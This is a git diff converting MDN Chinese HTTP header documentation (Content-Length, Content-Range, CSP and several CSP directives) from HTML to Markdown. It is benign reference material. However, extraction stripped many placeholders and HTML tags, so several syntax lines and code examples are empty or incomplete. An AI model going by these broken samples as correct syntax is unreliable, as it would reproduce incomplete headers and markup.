
    Content-Length 是一个实体消息首部,用来指明发送给接收方的消息主体的大小,即用十进制数字表示的八位元组的数目。

    +**`Content-Length`** 是一个实体消息首部,用来指明发送给接收方的消息主体的大小,即用十进制数字表示的八位元组的数目。 - - - - - - - - - - - -
    Header type{{Glossary("Entity header")}}
    {{Glossary("Forbidden header name")}}yes
    +| Header type | {{Glossary("Entity header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    语法

    +## 语法 -
    Content-Length: <length>
    -
    +```plain +Content-Length: +``` -

    指令

    +## 指令 -
    -
    <length>
    -
    消息的长度,用十进制数字表示的八位字节的数目。
    -
    +- \ + - : 消息的长度,用十进制数字表示的八位字节的数目。 -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Transfer-Encoding")}}
    • -
    +- {{HTTPHeader("Transfer-Encoding")}} diff --git a/files/zh-cn/web/http/headers/content-location/index.md b/files/zh-cn/web/http/headers/content-location/index.md index 47af79449967b4..45373d6ff05586 100644 --- a/files/zh-cn/web/http/headers/content-location/index.md +++ b/files/zh-cn/web/http/headers/content-location/index.md @@ -7,51 +7,41 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Content-Location --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Content-Location 首部指定的是要返回的数据的地址选项。最主要的用途是用来指定要访问的资源经过内容协商后的结果的 URL。

    +**`Content-Location`** 首部指定的是要返回的数据的地址选项。最主要的用途是用来指定要访问的资源经过[内容协商](/zh-CN/docs/Web/HTTP/Content_negotiation)后的结果的 URL。 -

    {{HTTPHeader("Location")}} 与 Content-Location是不同的,前者({{HTTPHeader("Location")}} )指定的是一个重定向请求的目的地址(或者新创建的文件的 URL),而后者( Content-Location)指向的是可供访问的资源的直接地址,不需要进行进一步的内容协商。Location 对应的是响应,而 Content-Location 对应的是要返回的实体。

    +{{HTTPHeader("Location")}} 与 `Content-Location`是不同的,前者({{HTTPHeader("Location")}} )指定的是一个重定向请求的目的地址(或者新创建的文件的 URL),而后者( `Content-Location`)指向的是可供访问的资源的直接地址,不需要进行进一步的内容协商。Location 对应的是响应,而 Content-Location 对应的是要返回的实体。 - - - - - - - - - - - -
    Header type{{Glossary("Entity header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Entity header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Content-Location: <url>
    -
    +```plain +Content-Location: +``` -

    指令

    +## 指令 -
    -
    <url>
    -
    相对地址(相对于要访问的 URL)或绝对地址。
    -
    +- \ + - : 相对地址(相对于要访问的 URL)或绝对地址。 -

    示例

    +## 示例 -
    Content-Location: /index.html
    +```plain +Content-Location: /index.html +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Location")}}
    • -
    +- {{HTTPHeader("Location")}} diff --git a/files/zh-cn/web/http/headers/content-range/index.md b/files/zh-cn/web/http/headers/content-range/index.md index 450bdf153834b5..41e0604471a477 100644 --- a/files/zh-cn/web/http/headers/content-range/index.md +++ b/files/zh-cn/web/http/headers/content-range/index.md @@ -7,68 +7,55 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Content-Range --- -
    {{HTTPSidebar}}
    - -

    在 HTTP 协议中,响应首部 Content-Range 显示的是一个数据片段在整个文件中的位置。

    - - - - - - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    {{Glossary("Simple response header", "CORS-safelisted response-header")}}no
    - -

    语法

    - -
    Content-Range: <unit> <range-start>-<range-end>/<size>
    -Content-Range: <unit> <range-start>-<range-end>/*
    -Content-Range: <unit> */<size>
    - -

    指令

    - -
    -
    <unit>
    -
    数据区间所采用的单位。通常是字节(byte)。
    -
    - -
    -
    <range-start>
    -
    一个整数,表示在给定单位下,区间的起始值。
    -
    <range-end>
    -
    一个整数,表示在给定单位下,区间的结束值。
    -
    <size>
    -
    整个文件的大小(如果大小未知则用"*"表示)。
    -
    - -

    示例

    - -
    Content-Range: bytes 200-1000/67589
    -
    - -

    规范

    +{{HTTPSidebar}} + +在 HTTP 协议中,响应首部 **`Content-Range`** 显示的是一个数据片段在整个文件中的位置。 + +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | +| {{Glossary("Simple response header", "CORS-safelisted response-header")}} | no | + +## 语法 + +```plain +Content-Range: -/ +Content-Range: -/* +Content-Range: */ +``` + +## 指令 + +- \ + - : 数据区间所采用的单位。通常是字节(byte)。 + + + +- \ + - : 一个整数,表示在给定单位下,区间的起始值。 +- \ + - : 一个整数,表示在给定单位下,区间的结束值。 +- \ + - : 整个文件的大小(如果大小未知则用"\*"表示)。 + +## 示例 + +```plain +Content-Range: bytes 200-1000/67589 +``` + +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("If-Range")}}
    • -
    • {{HTTPHeader("Range")}}
    • -
    • {{HTTPHeader("Content-Type")}}
    • -
    • {{HTTPStatus("206")}} Partial Content
    • -
    • {{HTTPStatus("416")}} Range Not Satisfiable
    • -
    +- {{HTTPHeader("If-Range")}} +- {{HTTPHeader("Range")}} +- {{HTTPHeader("Content-Type")}} +- {{HTTPStatus("206")}} `Partial Content` +- {{HTTPStatus("416")}} `Range Not Satisfiable` diff --git a/files/zh-cn/web/http/headers/content-security-policy-report-only/index.md b/files/zh-cn/web/http/headers/content-security-policy-report-only/index.md index baf58181b058d5..b873e0eba02413 100644 --- a/files/zh-cn/web/http/headers/content-security-policy-report-only/index.md +++ b/files/zh-cn/web/http/headers/content-security-policy-report-only/index.md @@ -3,90 +3,100 @@ title: Content-Security-Policy-Report-Only slug: Web/HTTP/Headers/Content-Security-Policy-Report-Only translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP Content-Security-Policy-Report-Only响应头允许 web 开发人员通过监测 (但不强制执行) 政策的影响来尝试政策。这些违反报告由 {{Glossary("JSON")}} 文档组成通过一个 HTTP POST 请求发送到指定的 URI。

    +HTTP **`Content-Security-Policy-Report-Only`**响应头允许 web 开发人员通过监测 (但不强制执行) 政策的影响来尝试政策。这些违反报告由 {{Glossary("JSON")}} 文档组成通过一个 HTTP POST 请求发送到指定的 URI。 -

    更多相关信息,可参见这篇文章 Content Security Policy (CSP).

    +更多相关信息,可参见这篇文章 [Content Security Policy (CSP)](/zh-CN/docs/Web/HTTP/CSP). - - - - - - - - - - - - - + + + + + + + + + + + + +
    Header 类型{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    这个 header 不支持在 {{HTMLElement("meta")}} 元素内(定义)。
    Header 类型{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    + 这个 header 不支持在 {{HTMLElement("meta")}} 元素内(定义)。 +
    -

    语法

    +## 语法 -
    Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive>
    -
    +```plain +Content-Security-Policy-Report-Only: ; +``` -

    指令

    +## 指令 -

    {{HTTPHeader("Content-Security-Policy")}} header 的指令也可应用于 Content-Security-Policy-Report-Only.

    +{{HTTPHeader("Content-Security-Policy")}} header 的指令也可应用于 `Content-Security-Policy-Report-Only`. -

    CSP {{CSP("report-uri")}} 指令需要跟这个 header 一起用,否则这个 header 将会是一个昂贵却无操作 (无作用) 的机器 (设置)。

    +CSP {{CSP("report-uri")}} 指令需要跟这个 header 一起用,否则这个 header 将会是一个昂贵却无操作 (无作用) 的机器 (设置)。 -

    例子

    +## 例子 -

    这个 header 报告 (统计) 将会发生的违规行为。你可以使用这个 header 去迭代你的内容安全政策。你观察你的网站的行为,查看违反报告,然后通过 {{HTTPHeader("Content-Security-Policy")}} 头选择所需的政策。

    +这个 header 报告 (统计) 将会发生的违规行为。你可以使用这个 header 去迭代你的内容安全政策。你观察你的网站的行为,查看违反报告,然后通过 {{HTTPHeader("Content-Security-Policy")}} 头选择所需的政策。 -
    Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/
    +```plain +Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/ +``` -

    如果你希望收到报告,而且还想执行一项策略,使用{{HTTPHeader("Content-Security-Policy")}} 头跟{{CSP("report-uri")}} 指令。

    +如果你希望收到报告,而且还想执行一项策略,使用{{HTTPHeader("Content-Security-Policy")}} 头跟{{CSP("report-uri")}} 指令。 -
    Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/
    +```plain +Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/ +``` -

    违规报告的语法

    +## 违规报告的语法 -

    报告的 JSON 对象包括下面的数据:

    +报告的 JSON 对象包括下面的数据: -
    -
    document-uri
    -
    发生违规的文档 URI。
    -
    referrer
    -
    发生违规的文档 referrer。
    -
    blocked-uri
    -
    被内容安全政策阻塞加载的资源的 URI。如果被阻塞的 URI 与文档 URI 不同源,则被阻塞的 URI 被截断为只包含 scheme(协议),host(域名),和 port(端口)。
    -
    violated-directive
    -
    被违反的策略名。
    -
    original-policy
    -
    Content-Security-Policy HTTP 头部所指定的原始策略。
    -
    disposition
    -
    “执行”或“报告”取决于是使用{{HTTPHeader("Content-Security-Policy")}} 头还是使用 Content-Security-Header-Report-Only 头。
    -
    +- `document-uri` + - : 发生违规的文档 URI。 +- `referrer` + - : 发生违规的文档 referrer。 +- `blocked-uri` + - : 被内容安全政策阻塞加载的资源的 URI。如果被阻塞的 URI 与文档 URI 不同源,则被阻塞的 URI 被截断为只包含 scheme(协议),host(域名),和 port(端口)。 +- `violated-directive` + - : 被违反的策略名。 +- `original-policy` + - : `Content-Security-Policy` HTTP 头部所指定的原始策略。 +- disposition + - : “执行”或“报告”取决于是使用{{HTTPHeader("Content-Security-Policy")}} 头还是使用 `Content-Security-Header-Report-Only` 头。 -

    违规报告样例

    +## 违规报告样例 -
    思考一下一个地址为http://example.com/signup.html 的页面。它使用了下面的策略,禁止除了来自 cdn.example.com样式表外的其他任何资源。
    +思考一下一个地址为`http://example.com/signup.html 的页面。它使用了下面的策略,禁止除了来自 cdn.example.com`的`样式表外的其他任何资源。` -
    Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
    +```http +Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports +``` -
    signup.html的 html 如下:
    +`signup.html`的 html 如下: -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -    <title>Sign Up</title>
    -    <link rel="stylesheet" href="css/style.css">
    -  </head>
    -  <body>
    +```html
    +
    +
    +  
    +    Sign Up
    +    
    +  
    +  
         ... Content ...
    -  </body>
    -</html>
    + + +``` -
    你可以发现违规的地方吗?只允许加载来自cdn.example.com 这个域名的样式表,然而这个网站试着加载来自自己域名的样式表 (http://example.com)。当文档被访问时,可以执行 CSP(内容安全策略) 的浏览器将会用 POST 请求发送以下违规报告到http://example.com/_/csp-reports:
    +你可以发现违规的地方吗?只允许加载来自`cdn.example.com 这个域名的`样式表,然而这个网站试着加载来自自己域名的样式表 (`http://example.com`)。当文档被访问时,可以执行 CSP(内容安全策略) 的浏览器将会用 POST 请求发送以下违规报告到`http://example.com/_/csp-reports`: -
    {
    +```js
    +{
       "csp-report": {
         "document-uri": "http://example.com/signup.html",
         "referrer": "",
    @@ -95,25 +105,24 @@ translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only
         "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports",
         "disposition": "report"
       }
    -}
    +} +``` -

    正如你所看到的,报告在blocked-uri 上记录了违反资源的完整路径。这并非总是如此。例如,当 signup.html 试图从 http://anothercdn.example.com/stylesheet.css 加载CSS,浏览器不会包含完整路径,只包含来源。这样做是为了防止泄漏跨域资源的敏感信息。

    +正如你所看到的,报告在`blocked-uri 上记录了`违反资源的完整路径。这并非总是如此。例如,当 `signup.html` 试图从 `http://anothercdn.example.com/stylesheet.css 加载`CSS,浏览器不会包含完整路径,只包含来源。这样做是为了防止泄漏跨域资源的敏感信息。 -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    另请参阅

    +## 另请参阅 - +- {{HTTPHeader("Content-Security-Policy")}} +- CSP {{CSP("report-uri")}} directive +- [Content Security in WebExtensions](/zh-CN/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy) +- [Display security and privacy policies In Firefox Developer Tools](/zh-CN/docs/Tools/GCLI/Display_security_and_privacy_policies) +- [https://report-uri.io – CSP and HPKP reporting](https://report-uri.io/) +- [Hosted CSP reporting for HTTPS migrations](https://httpschecker.net/guides/https-reporter) diff --git a/files/zh-cn/web/http/headers/content-security-policy/base-uri/index.md b/files/zh-cn/web/http/headers/content-security-policy/base-uri/index.md index e9b083d32a7996..d6b4279c68bf3b 100644 --- a/files/zh-cn/web/http/headers/content-security-policy/base-uri/index.md +++ b/files/zh-cn/web/http/headers/content-security-policy/base-uri/index.md @@ -9,78 +9,73 @@ tags: - 文档指令 translation_of: Web/HTTP/Headers/Content-Security-Policy/base-uri --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 协议 {{HTTPHeader("Content-Security-Policy")}} 首部字段中的 base-uri 指令限制了可以应用于一个文档的 {{HTMLElement("base")}} 元素的 URL。假如指令值为空,那么任何 URL 都是允许的。如果指令不存在,那么用户代理会使用 {{HTMLElement("base")}} 元素中的值。

    +HTTP 协议 {{HTTPHeader("Content-Security-Policy")}} 首部字段中的 **`base-uri`** 指令限制了可以应用于一个文档的 {{HTMLElement("base")}} 元素的 URL。假如指令值为空,那么任何 URL 都是允许的。如果指令不存在,那么用户代理会使用 {{HTMLElement("base")}} 元素中的值。 - - - - - - - - - - - - - - - -
    CSP version2
    Directive type{{Glossary("Document directive")}}
    {{CSP("default-src")}} fallbackNo. Not setting this allows anything.
    +| CSP version | 2 | +| ------------------------------------- | -------------------------------------------- | +| Directive type | {{Glossary("Document directive")}} | +| {{CSP("default-src")}} fallback | No. Not setting this allows anything. | -

    语法

    +## 语法 -

    base-uri 安全策略可以设置一个或多个源:

    +base-uri 安全策略可以设置一个或多个源: -
    Content-Security-Policy: base-uri <source>;
    -Content-Security-Policy: base-uri <source> <source>;
    -
    +```plain +Content-Security-Policy: base-uri ; +Content-Security-Policy: base-uri ; +``` -

    +### 源 -

    {{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

    +{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -

    示例

    +## 示例 -

    Meta tag 配置

    +### Meta tag 配置 -
    <meta http-equiv="Content-Security-Policy" content="base-uri 'self'">
    +```html + +``` -

    Apache 配置

    +### Apache 配置 -
    <IfModule mod_headers.c>
    +```bash
    +
     Header set Content-Security-Policy "base-uri 'self';
    -</IfModule>
    + +``` -

    Nginx 配置

    +### Nginx 配置 -
    add_header Content-Security-Policy "base-uri 'self';"
    +```bash +add_header Content-Security-Policy "base-uri 'self';" +``` -

    违犯策略的案例

    +### _违犯策略的案例_ -

    假如你的域名不是 example.com,那么将 {{HTMLElement("base")}} 元素的 href 属性值设置成 example.com 会违犯 CSP 策略。

    +假如你的域名不是 example.com,那么将 {{HTMLElement("base")}} 元素的 href 属性值设置成 example.com 会违犯 CSP 策略。 -
    <meta http-equiv="Content-Security-Policy" content="base-uri 'self'">
    -<base href="http://example.com/">
    +```html example-bad
    +
    +
     
     // Error: Refused to set the document's base URI to 'http://example.com/'
     // because it violates the following Content Security Policy
    -// directive: "base-uri 'self'"
    +// directive: "base-uri 'self'" +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPheader("Content-Security-Policy")}}
    • -
    • {{HTMLElement("base")}}
    • -
    • {{domxref("Node.baseURI")}}
    • -
    +- {{HTTPheader("Content-Security-Policy")}} +- {{HTMLElement("base")}} +- {{domxref("Node.baseURI")}} diff --git a/files/zh-cn/web/http/headers/content-security-policy/child-src/index.md b/files/zh-cn/web/http/headers/content-security-policy/child-src/index.md index b94be4a0a0d2b8..dfc389995212c6 100644 --- a/files/zh-cn/web/http/headers/content-security-policy/child-src/index.md +++ b/files/zh-cn/web/http/headers/content-security-policy/child-src/index.md @@ -3,67 +3,58 @@ title: 'CSP: child-src' slug: Web/HTTP/Headers/Content-Security-Policy/child-src translation_of: Web/HTTP/Headers/Content-Security-Policy/child-src --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    The HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}. For workers, non-compliant requests are treated as fatal network errors by the user agent.

    +The HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`child-src`** directive defines the valid sources for [web workers](/zh-CN/docs/Web/API/Web_Workers_API) and nested browsing contexts loaded using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}. For workers, non-compliant requests are treated as fatal network errors by the user agent. - - - - - - - - - - - - - - - -
    CSP version2
    Directive type{{Glossary("Fetch directive")}}
    {{CSP("default-src")}} fallbackYes. If this directive is absent, the user agent will look for the default-src directive.
    +| CSP version | 2 | +| ------------------------------------- | ------------------------------------------------------------------------------------------- | +| Directive type | {{Glossary("Fetch directive")}} | +| {{CSP("default-src")}} fallback | Yes. If this directive is absent, the user agent will look for the `default-src` directive. | -

    Syntax

    +## Syntax -

    One or more sources can be allowed for the child-src policy:

    +One or more sources can be allowed for the child-src policy: -
    Content-Security-Policy: child-src <source>;
    -Content-Security-Policy: child-src <source> <source>;
    -
    +```plain +Content-Security-Policy: child-src ; +Content-Security-Policy: child-src ; +``` -

    Sources

    +### Sources -

    {{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

    +{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -

    Examples

    +## Examples -

    Violation cases

    +### Violation cases -

    Given this CSP header:

    +Given this CSP header: -
    Content-Security-Policy: child-src https://example.com/
    +```bash +Content-Security-Policy: child-src https://example.com/ +``` -

    This {{HTMLElement("iframe")}} and worker are blocked and won't load:

    +This {{HTMLElement("iframe")}} and worker are blocked and won't load: -
    <iframe src="https://not-example.com"></iframe>
    +```html
    +
     
    -<script>
    +
    +```
     
    -

    Specifications

    +## Specifications {{Specifications}} -

    Browser compatibility

    +## Browser compatibility -

    {{Compat}}

    +{{Compat}} -

    See also

    +## See also -
      -
    • {{HTTPHeader("Content-Security-Policy")}}
    • -
    • {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}
    • -
    • {{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}
    • -
    +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("frame")}} and {{HTMLElement("iframe")}} +- {{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}} diff --git a/files/zh-cn/web/http/headers/content-security-policy/connect-src/index.md b/files/zh-cn/web/http/headers/content-security-policy/connect-src/index.md index 15f90b56ab6ab4..c84928e4bc719a 100644 --- a/files/zh-cn/web/http/headers/content-security-policy/connect-src/index.md +++ b/files/zh-cn/web/http/headers/content-security-policy/connect-src/index.md @@ -3,60 +3,50 @@ title: 'CSP: connect-src' slug: Web/HTTP/Headers/Content-Security-Policy/connect-src translation_of: Web/HTTP/Headers/Content-Security-Policy/connect-src --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 协议头部{{HTTPHeader("Content-Security-Policy")}} (CSP) 的connect-src 指令用于控制允许通过脚本接口加载的链接地址。其中受到影响的 API 如下:

    +HTTP 协议头部{{HTTPHeader("Content-Security-Policy")}} (CSP) 的**`connect-src`** 指令用于控制允许通过脚本接口加载的链接地址。其中受到影响的 API 如下: -
      -
    • {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}},
    • -
    • {{domxref("Fetch")}},
    • -
    • {{domxref("XMLHttpRequest")}},
    • -
    • {{domxref("WebSocket")}}, and
    • -
    • {{domxref("EventSource")}}.
    • -
    +- {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}}, +- {{domxref("Fetch")}}, +- {{domxref("XMLHttpRequest")}}, +- {{domxref("WebSocket")}}, and +- {{domxref("EventSource")}}. - - - - - - - - - - - - - - - -
    CSP version1
    Directive type{{Glossary("Fetch directive")}}
    {{CSP("default-src")}} fallbackYes. If this directive is absent, the user agent will look for the default-src directive.
    +| CSP version | 1 | +| ------------------------------------- | ------------------------------------------------------------------------------------------- | +| Directive type | {{Glossary("Fetch directive")}} | +| {{CSP("default-src")}} fallback | Yes. If this directive is absent, the user agent will look for the `default-src` directive. | -

    Syntax

    +## Syntax -

    connect-src 可以设置一个或者多个源地址:

    +connect-src 可以设置一个或者多个源地址: -
    Content-Security-Policy: connect-src <source>;
    -Content-Security-Policy: connect-src <source> <source>;
    -
    +```plain +Content-Security-Policy: connect-src ; +Content-Security-Policy: connect-src ; +``` -

    Sources

    +### Sources -

    {{page("/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

    +{{page("/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -

    Examples

    +## Examples -

    Violation cases

    +### Violation cases -

    给定如下 CSP 头部:

    +给定如下 CSP 头部: -
    Content-Security-Policy: connect-src https://example.com/
    +```bash +Content-Security-Policy: connect-src https://example.com/ +``` -

    如下的连接请求会被阻塞且不会加载:

    +如下的连接请求会被阻塞且不会加载: -
    <a ping="https://not-example.com">
    +```html
    +
     
    -<script>
    +
    +```
     
    -

    Specifications

    +## Specifications {{Specifications}} -

    Browser compatibility

    +## Browser compatibility -

    {{Compat}}

    +{{Compat}} -

    Compatibility notes

    +## Compatibility notes -
      -
    • Prior to Firefox 23, xhr-src was used in place of the connect-src directive and only restricted the use of {{domxref("XMLHttpRequest")}}.
    • -
    +- Prior to Firefox 23, `xhr-src` was used in place of the `connect-src` directive and only restricted the use of {{domxref("XMLHttpRequest")}}. -

    See also

    +## See also -
      -
    • {{HTTPHeader("Content-Security-Policy")}}
    • -
    • {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}}
    • -
    • {{domxref("Fetch")}}
    • -
    • {{domxref("XMLHttpRequest")}}
    • -
    • {{domxref("WebSocket")}}
    • -
    • {{domxref("EventSource")}}
    • -
    +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}} +- {{domxref("Fetch")}} +- {{domxref("XMLHttpRequest")}} +- {{domxref("WebSocket")}} +- {{domxref("EventSource")}} diff --git a/files/zh-cn/web/http/headers/content-security-policy/default-src/index.md b/files/zh-cn/web/http/headers/content-security-policy/default-src/index.md index 48280ad0516bc6..f1e35372d2c158 100644 --- a/files/zh-cn/web/http/headers/content-security-policy/default-src/index.md +++ b/files/zh-cn/web/http/headers/content-security-policy/default-src/index.md @@ -7,95 +7,80 @@ tags: - 超文本传输协议 translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src --- -
    {{HTTPSidebar}}
    - -

    在 HTTP 协议中,{{HTTPHeader("Content-Security-Policy")}} (CSP) 首部字段中的 default-src 指令可以为其他 CSP 拉取指令({{Glossary("fetch directive", "fetch directives")}})提供备选项。对于以下列出的指令,假如不存在的话,那么用户代理会查找并应用 default-src 指令的值。

    - -
      -
    • {{CSP("child-src")}}
    • -
    • {{CSP("connect-src")}}
    • -
    • {{CSP("font-src")}}
    • -
    • {{CSP("frame-src")}}
    • -
    • {{CSP("img-src")}}
    • -
    • {{CSP("manifest-src")}}
    • -
    • {{CSP("media-src")}}
    • -
    • {{CSP("object-src")}}
    • -
    • {{CSP("script-src")}}
    • -
    • {{CSP("style-src")}}
    • -
    • {{CSP("worker-src")}}
    • -
    - - - - - - - - - - - - -
    CSP 版本1
    指令类型{{Glossary("Fetch directive")}}
    - -

    语法

    - -

    default-src 策略允许指定一个或多个源:

    - -
    Content-Security-Policy: default-src <source>;
    -Content-Security-Policy: default-src <source> <source>;
    -
    - -

    - -

    <source> 可以是以下之一:

    - -
    -
    <host-source>
    -
    以域名或者 IP 地址表示的主机名,外加可选的 URL 协议名(URL scheme)以及端口号。站点地址中可能会包含一个可选的前置通配符(星号 '*'),同时也可以将通配符(也是'*')应用于端口号,表示在这个源中可以使用任意合法的端口号。
    - 举例说明: -
      -
    • http://*.example.com: 匹配从使用 http: 的 example.com 的任意子域的资源加载。
    • -
    • mail.example.com:443:匹配对 mail.example.com 上的 443 端口号的访问。
    • -
    • https://store.example.com: 匹配对使用了 https: 的 store.example.com 的访问。
    • -
    -
    -
    <scheme-source>
    -
    协议名如'http:' 或者 'https:'。必须带有冒号,不要有单引号。同时你还可以指定数据协议(data schema)(不推荐使用)。 -
      -
    • data: 允许 data: URIs 作为内容的源。这是不安全的。攻击者可以注入任意 data: URI 。不要轻易使用这种形式的源,尤其是脚本,绝对不要使用。
    • -
    • mediastream: 允许 mediastream: URIs 作为内容的源
    • -
    • blob: 允许 blob: URIs 作为内容的源
    • -
    • filesystem: 允许 filesystem: URIs 作为内容的源
    • -
    -
    -
    'self'
    -
    指向与要保护的文件所在的源,包括相同的 URL scheme 与端口号。必须有单引号。一些浏览器会特意排除 blob 与 filesystem 。需要设定这两种内容类型的站点可以在 Data 属性中进行设定。
    -
    'unsafe-inline'
    -
    允许使用内联资源,例如内联 {{HTMLElement("script")}} 元素(javascript: URL)、内联事件处理器以及内联 {{HTMLElement("style")}} 元素。必须有单引号。
    -
    'unsafe-eval'
    -
    允许使用 eval() 以及相似的函数来从字符串创建代码。必须有单引号。
    -
    'none'
    -
    不允许任何内容。 必须有单引号。
    -
    'nonce-<base64 值>'
    -
    特定使用一次性加密内联脚本的白名单。服务器必须在每一次传输政策时生成唯一的一次性值。否则将存在绕过资源政策的可能。请参见不安全的内联脚本查看示例。
    -
    <hash-source>
    -
    使用 sha256、sha384 或 sha512 编码过的内联脚本或样式。其由用短划线分隔的两部分组成:用于创建哈希的加密算法,以及脚本或样式 base64 编码的哈希值。当生成哈希值的时候,不要包含 <script> 或 <style> 标签,同时注意字母大小写与空格——包括首尾空格——都是会影响生成的结果的。请参见不安全的内联脚本
    -
    'strict-dynamic'
    -
    strict-dynamic 指定对于含有标记脚本 (通过附加一个随机数或散列) 的信任,应该传播到由该脚本加载的所有脚本。与此同时,任何白名单以及源表达式例如 'self' 或者 'unsafe-inline' 都会被忽略。参见 script-src
    -
    - -

    示例

    - -

    不继承 default-src 的情况

    - -

    假如设定了其他指令,那么 default-src 不会对它们起作用。这个首部

    - -
    Content-Security-Policy: default-src 'self'; script-src https://example.com
    - -

    与下列代码等价:

    - -
    Content-Security-Policy: connect-src 'self';
    +{{HTTPSidebar}}
    +
    +在 HTTP 协议中,{{HTTPHeader("Content-Security-Policy")}} (CSP) 首部字段中的 **`default-src`** 指令可以为其他 CSP 拉取指令({{Glossary("fetch directive", "fetch directives")}})提供备选项。对于以下列出的指令,假如不存在的话,那么用户代理会查找并应用 default-src 指令的值。
    +
    +- {{CSP("child-src")}}
    +- {{CSP("connect-src")}}
    +- {{CSP("font-src")}}
    +- {{CSP("frame-src")}}
    +- {{CSP("img-src")}}
    +- {{CSP("manifest-src")}}
    +- {{CSP("media-src")}}
    +- {{CSP("object-src")}}
    +- {{CSP("script-src")}}
    +- {{CSP("style-src")}}
    +- {{CSP("worker-src")}}
    +
    +| CSP 版本 | 1                                        |
    +| -------- | ---------------------------------------- |
    +| 指令类型 | {{Glossary("Fetch directive")}} |
    +
    +## 语法
    +
    +`default-src` 策略允许指定一个或多个源:
    +
    +```plain
    +Content-Security-Policy: default-src ;
    +Content-Security-Policy: default-src  ;
    +```
    +
    +### 源
    +
    +\ 可以是以下之一:
    +
    +- \
    +  - : 以域名或者 IP 地址表示的主机名,外加可选的 URL 协议名([URL scheme](/zh-CN/docs/URIs_and_URLs))以及端口号。站点地址中可能会包含一个可选的前置通配符(星号 '\*'),同时也可以将通配符(也是'\*')应用于端口号,表示在这个源中可以使用任意合法的端口号。
    +    举例说明:_ `http://_.example.com:` 匹配从使用 http: 的 example.com 的任意子域的资源加载。
    +    - `mail.example.com:443:`匹配对 mail.example.com 上的 443 端口号的访问。
    +    - `https://store.example.com`: 匹配对使用了 https: 的 store.example.com 的访问。
    +- \
    +  - : 协议名如'http:' 或者 'https:'。**必须带有冒号,不要有单引号**。同时你还可以指定数据协议(data schema)(不推荐使用)。
    +
    +    - `data:` 允许 [`data:` URIs](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) 作为内容的源*。这是不安全的。攻击者可以注入任意 data: URI 。不要轻易使用这种形式的源,尤其是脚本,绝对不要使用。
    +    - `mediastream:` 允许 [`mediastream:` URIs](/zh-CN/docs/Web/API/MediaStream_API) 作为内容的源。
    +    - `blob:` 允许 [`blob:` URIs](/zh-CN/docs/Web/API/Blob) 作为内容的源。
    +    - `filesystem:` 允许 [`filesystem:` URIs](/zh-CN/docs/Web/API/FileSystem) 作为内容的源。
    +- `'self'`
